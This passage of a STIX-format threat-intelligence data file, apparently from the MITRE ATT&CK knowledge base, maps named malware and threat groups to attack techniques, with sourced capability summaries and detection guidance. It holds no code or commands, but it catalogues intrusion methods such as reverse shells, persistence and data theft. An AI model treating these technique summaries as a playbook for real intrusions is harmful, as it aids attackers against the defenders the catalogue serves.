"2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT34 Dec 2017", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}], "modified": "2020-03-19T19:46:38.477Z", "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can execute commands from its C2 server.(Citation: FireEye APT34 Dec 2017)", "relationship_type": "uses", "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--aac05114-174d-4c78-88b6-be502128b476", "created": "2024-03-19T18:55:37.739Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-19T18:55:37.739Z", "description": "[PACEMAKER](https://attack.mitre.org/software/S1109) can use a simple bash script for execution.(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "malware--647215dd-29a6-4528-b354-ca8b5e08fca1", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aac15fc0-a17b-4295-bf46-b18569bc2c4f", "type": "relationship", "created": "2021-01-08T21:16:36.990Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Red Canary NETWIRE January 2020", "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}], "modified": "2021-01-08T21:16:36.990Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can copy itself to and launch itself from hidden folders.(Citation: Red Canary NETWIRE January 2020)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aac7b4ce-93ee-4feb-83da-3b2600ad75b0", "type": "relationship", "created": "2020-05-07T02:33:06.795Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "QiAnXin APT-C-36 Feb2019", "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}], "modified": "2020-10-14T14:40:36.515Z", "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has uploaded a file containing debugger logs, network information and system information to the C2.(Citation: QiAnXin APT-C-36 Feb2019)", "relationship_type": "uses", "source_ref": "tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aac8f64e-54d1-4aad-80ee-dd3cd887f30e", "type": "relationship", "created": "2019-03-26T16:19:52.411Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", "source_name": "Talos Nyetya June 2017"}, {"source_name": "US-CERT NotPetya 2017", "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A", "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019."}, {"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}], "modified": "2020-11-30T17:38:41.070Z", "description": "[NotPetya](https://attack.mitre.org/software/S0368) encrypts user files and disk structures like the MBR with 2048-bit RSA.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aac99c91-e1b1-42c0-8a13-f166027d5168", "type": "relationship", "created": "2019-01-29T19:36:02.820Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", "source_name": "ESET Carbon Mar 2017"}, {"source_name": "Accenture HyperStack October 2020", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}], "modified": "2020-12-03T21:03:56.293Z", "description": "[Carbon](https://attack.mitre.org/software/S0335) encrypts configuration files and tasks for the malware to complete using CAST-128 algorithm.(Citation: ESET Carbon Mar 2017)(Citation: Accenture HyperStack October 2020)", "relationship_type": "uses", "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aaca7907-7a43-4ebb-bd2b-bf7f497d9134", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fidelis INOCNATION", "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"}], "modified": "2020-03-20T02:24:20.838Z", "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) has the ability to create a reverse shell.(Citation: Fidelis INOCNATION)", "relationship_type": "uses", "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aaca809f-576c-4875-a09d-5a46a5e5e422", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "fsecure NanHaiShu July 2016", "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}], "modified": "2020-03-17T01:53:17.425Z", "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) uses mshta.exe to load its program and files.(Citation: fsecure NanHaiShu July 2016)", "relationship_type": "uses", "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aacb14e6-056f-4df4-8b9c-58a36076b1ad", "type": "relationship", "created": "2022-03-30T14:26:51.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.860Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aacb43b8-2d3a-40bc-9f7b-1acb5b2474f2", "type": "relationship", "created": "2020-05-11T18:05:53.457Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html", "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.", "source_name": "FireEye Hikit Rootkit"}, {"source_name": "FireEye HIKIT Rootkit Part 2", "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html", "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."}], "modified": "2020-05-13T20:37:30.032Z", "description": "[Hikit](https://attack.mitre.org/software/S0009) is a [Rootkit](https://attack.mitre.org/techniques/T1014) that has been used by [Axiom](https://attack.mitre.org/groups/G0001).(Citation: FireEye Hikit Rootkit) (Citation: FireEye HIKIT Rootkit Part 2) ", "relationship_type": "uses", "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61", "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aacc2945-4ff1-4bf8-8428-1198eb6e127e", "type": "relationship", "created": "2021-10-06T19:18:54.606Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Accenture MUDCARP March 2019", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies", "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}], "modified": "2021-10-06T19:18:54.606Z", "description": "[BADFLICK](https://attack.mitre.org/software/S0642) has uploaded files from victims' machines.(Citation: Accenture MUDCARP March 2019)", "relationship_type": "uses", "source_ref": "malware--57d83eac-a2ea-42b0-a7b2-c80c55157790", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aad1cfa0-0df0-4768-87c2-5e59da2c5e44", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", "source_name": "ESET RTM Feb 2017"}], "modified": "2020-05-12T22:13:16.854Z", "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain the victim username and permissions.(Citation: ESET RTM Feb 2017)", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aad8c4dc-db11-48b4-b294-f63ccde5e798", "type": "relationship", "created": "2017-05-31T21:33:27.042Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", "source_name": "Kaspersky Carbanak"}], "modified": "2019-03-22T19:59:27.002Z", "description": "[Carbanak](https://attack.mitre.org/groups/G0008) malware installs itself as a service to provide persistence and SYSTEM privileges.(Citation: Kaspersky Carbanak)", "relationship_type": "uses", "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aadfeef0-8532-4701-adf8-b2b4fb7ede08", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "Monitor and analyze traffic patterns and packet inspection associated with web-based network connections that are sent to malicious or suspicious detinations (e.g. destinations attributed to phishing campaigns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments (e.g. monitor anomalies in use of files that do not normally initiate network connections or unusual connections initiated by regsvr32.exe, rundll.exe, .SCF, HTA, MSI, DLLs, or msiexec.exe).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aae10582-ba88-4a02-9d66-fd460bf4f303", "type": "relationship", "created": "2021-02-09T18:36:22.131Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Volatile Cedar March 2015", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}], "modified": "2021-02-09T18:36:22.131Z", "description": "[Explosive](https://attack.mitre.org/software/S0569) has used HTTP for communication.(Citation: CheckPoint Volatile Cedar March 2015)", "relationship_type": "uses", "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--aae309ee-9d15-4188-8f74-68c581a3a720", "created": "2022-08-09T13:02:09.414Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Application developers uploading to public code repositories should be careful to avoid publishing sensitive information such as credentials and API keys.", "modified": "2022-08-09T13:02:09.414Z", "relationship_type": "mitigates", "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", "target_ref": "attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aae339ae-44bb-48d3-b62e-7f35376bb974", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "fsecure NanHaiShu July 2016", "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}], "modified": "2020-03-17T01:53:17.533Z", "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) uses DNS for the C2 communications.(Citation: fsecure NanHaiShu July 2016)", "relationship_type": "uses", "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aae621b9-9d10-4cd2-91f0-18f6fc8f8406", "type": "relationship", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.856Z", "description": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)", "source_ref": "x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3", "target_ref": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEyeSupplyChain", "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.", "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"}]}, {"type": "relationship", "id": "relationship--aae6444e-c9e5-4965-9499-8aa6d546b58e", "created": "2022-09-02T20:46:33.488Z", "revoked": false, "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-02T20:46:33.488Z", "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) has used [Tasklist](https://attack.mitre.org/software/S0057) to obtain information from a compromised host.(Citation: TrendMicro EarthLusca 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--aaecf1d4-46fb-4528-b150-6919db3bfde7", "created": "2024-01-05T21:39:58.589Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat/106799/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-05T21:39:58.589Z", "description": "[Samurai](https://attack.mitre.org/software/S1099) can compile and execute downloaded modules at runtime.(Citation: Kaspersky ToddyCat June 2022)", "relationship_type": "uses", "source_ref": "malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0", "target_ref": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--aaecf92d-75de-4767-9471-835353728a5c", "created": "2022-04-14T20:00:19.432Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Sygnia Golden SAML", "url": "https://www.sygnia.co/golden-saml-advisory", "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)", "modified": "2022-04-14T20:00:19.432Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", "target_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aaeef068-5853-45c9-922a-9ff779041cbe", "type": "relationship", "created": "2021-09-29T15:41:18.380Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FSI Andariel Campaign Rifle July 2017", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1680.do", "description": "FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 29, 2021."}], "modified": "2021-09-29T15:41:18.380Z", "description": "[Andariel](https://attack.mitre.org/groups/G0138) has used a variety of publicly-available remote access Trojans (RATs) for its operations.(Citation: FSI Andariel Campaign Rifle July 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8", "target_ref": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aaf0545f-bb47-4796-b23e-4780f354add9", "type": "relationship", "created": "2020-05-08T20:17:55.366Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Cloud Atlas August 2019", "url": "https://securelist.com/recent-cloud-atlas-activity/92016/", "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}], "modified": "2020-05-12T20:35:30.002Z", "description": "[PowerShower](https://attack.mitre.org/software/S0441) has the ability to identify the current Windows domain of the infected host.(Citation: Kaspersky Cloud Atlas August 2019)", "relationship_type": "uses", "source_ref": "malware--53486bc7-7748-4716-8190-e4f1fde04c53", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aaf68c56-f476-4952-a622-d9951212c2a2", "type": "relationship", "created": "2022-03-30T14:26:51.836Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.836Z", "description": "Monitor for changes made to files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aafa7447-cb73-4309-ac75-5326ab0d1079", "type": "relationship", "created": "2021-03-12T18:46:47.204Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."}], "modified": "2021-03-12T18:46:47.204Z", "description": "[Sibot](https://attack.mitre.org/software/S0589) can decrypt data received from a C2 and save to a file.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--aafab4f1-96d9-4c9e-8f87-98a38db520fe", "created": "2023-03-17T19:26:13.200Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT29 Nov 2018", "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"}, {"source_name": "Microsoft Unidentified Dec 2018", "description": "Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. 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Retrieved July 15, 2020."}], "modified": "2021-03-29T19:49:11.294Z", "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has added a Registry Run key to establish persistence.(Citation: Nccgroup Gh0st April 2018)(Citation: Gh0stRAT ATT March 2019)", "relationship_type": "uses", "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ab322e5c-dfd2-45dd-bee1-59aec9d1d840", "type": "relationship", "created": "2019-10-07T19:05:49.072Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. 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Retrieved September 2, 2021."}], "modified": "2021-10-15T14:43:12.382Z", 